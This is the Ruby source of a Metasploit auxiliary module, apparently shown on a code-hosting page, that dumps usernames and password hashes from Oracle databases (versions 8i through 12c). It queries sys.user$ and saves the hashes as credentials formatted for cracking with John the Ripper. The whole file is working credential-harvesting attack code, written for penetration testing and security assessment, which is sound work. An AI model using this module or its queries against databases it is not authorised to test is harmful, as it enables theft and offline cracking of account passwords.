Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/scanner/oracle/oracle_hashdump.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::ORACLE7include Msf::Auxiliary::Report8include Msf::Auxiliary::Scanner910def initialize11super(12'Name' => 'Oracle Password Hashdump',13'Description' => %Q{14This module dumps the usernames and password hashes15from Oracle given the proper Credentials and SID.16These are then stored as creds for later cracking using auxiliary/analyze/jtr_oracle_fast.17This module supports Oracle DB versions 8i, 9i, 10g, 11g, and 12c.18},19'Author' => ['theLightCosine'],20'License' => MSF_LICENSE21)22end2324def run_host(ip)25return if not check_dependencies2627# Checks for Version of Oracle. Behavior varies with oracle version.28# 12c uses SHA-512 (explained in more detail in report_hashes() below)29# 11g uses SHA-1 while 8i-10g use DES30query = 'select * from v$version'31ver = prepare_exec(query)3233if ver.nil?34print_error("An error has occurred while querying for the Oracle version. Please check your OPTIONS")35return36end3738unless ver.empty?39case40when ver[0].include?('8i')41ver='8i'42when ver[0].include?('9i')43ver='9i'44when ver[0].include?('10g')45ver='10g'46when ver[0].include?('11g')47ver='11g'48when ver[0].include?('12c')49ver='12c'50when ver[0].include?('18c')51print_error("Version 18c is not currently supported")52return53else54print_error("Error: Oracle DB version not supported.\nThis module supports Oracle DB versions 8i, 9i, 10g, 11g, and 12c.\nDumping unsupported version info:\n#{ver[0]}")55return56end57vprint_status("Server is running version #{ver}")58end5960this_service = report_service(61:host => datastore['RHOST'],62:port => datastore['RPORT'],63:name => 'oracle',64:proto => 'tcp'65)6667tbl = Rex::Text::Table.new(68'Header' => 'Oracle Server Hashes',69'Indent' => 1,70'Columns' => ['Username', 'Hash']71)7273begin74case ver75when '8i', '9i', '10g' # Get the usernames and hashes for 8i-10g76query='SELECT name, password FROM sys.user$ where password is not null and name<> \'ANONYMOUS\''77results= prepare_exec(query)78unless results.empty?79results.each do |result|80row= result.split(/,/)81tbl << row82end83end84when '11g', '12c' # Get the usernames and hashes for 11g or 12c85query='SELECT name, spare4 FROM sys.user$ where password is not null and name<> \'ANONYMOUS\''86results= prepare_exec(query)87#print_status("Results: #{results.inspect}")88unless results.empty?89results.each do |result|90row= result.split(/,/)91next unless row.length == 292tbl << row93end94end95end96rescue => e97print_error("An error occurred. The supplied credentials may not have proper privileges")98return99end100print_status("Hash table :\n #{tbl}")101report_hashes(tbl, ver, ip, this_service)102end103104# Save each row in the hash table as credentials (shown by "creds" command)105# This is done slightly differently, depending on the version106def report_hashes(table, ver, ip, service)107108# Before module jtr_oracle_fast cracks these hashes, they are converted (based on jtr_format)109# to a format that John The Ripper can handle. This format is stored here.110case ver111when '8i', '10g'112jtr_format = "des,oracle"113when '11g'114jtr_format = "raw-sha1,oracle11"115when '12c'116jtr_format = "oracle12c"117end118119service_data = {120address: Rex::Socket.getaddress(ip),121port: service[:port],122protocol: service[:proto],123service_name: service[:name],124workspace_id: myworkspace_id125}126127# For each row in the hash table, save its corresponding credential data and JTR format128table.rows.each do |row|129credential_data = {130origin_type: :service,131module_fullname: self.fullname,132username: row[0],133private_data: row[1],134private_type: :nonreplayable_hash,135jtr_format: jtr_format136}137138credential_core = create_credential(credential_data.merge(service_data))139140login_data = {141core: credential_core,142status: Metasploit::Model::Login::Status::UNTRIED143}144145create_credential_login(login_data.merge(service_data))146end147print_good("Hash Table has been saved")148end149150end151152153